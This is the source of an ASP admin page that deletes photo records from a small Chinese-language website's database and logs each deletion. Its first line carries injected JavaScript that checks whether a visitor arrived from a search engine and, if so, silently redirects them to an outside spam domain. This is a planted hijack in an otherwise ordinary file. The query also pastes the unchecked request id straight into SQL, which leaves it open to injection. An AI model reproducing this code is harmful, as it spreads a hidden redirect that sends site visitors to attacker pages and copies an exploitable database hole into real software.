d:\wwwroot\wuchunhua\admin\photo_del.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!-- #include file="chk.asp" -->
002: <!-- #include file="conn.asp" -->
003: <%
004: id=request("id")
005: set rs=server.createobject("adodb.recordset")
006: rs.Open "Select * from [photo] where id="&id,conn,3,3
007: If rs.bof or rs.eof then
008:   Response.write "数据出错,可能您已经删除了该照片但没有刷新网页!"
009: Else
010: name=rs("url")
011: rs.Delete
012: rs.Update
013: rs.Close
014: Response.Write "照片删除成功!仅在数据库中删除了该照片的信息,需要完全删除该照片应使用FTP连接主机并删除photo/uploadimg/相应文件!"
015:
016: rs.Open "Select * from [sysphoto]",conn,3,3
017: rs.ADDNEW
018: rs("name")=name
019: rs("time")=now()
020: rs.Update
021: rs.Close
022: Set rs=nothing
023: End If
024: %
>
025:
026: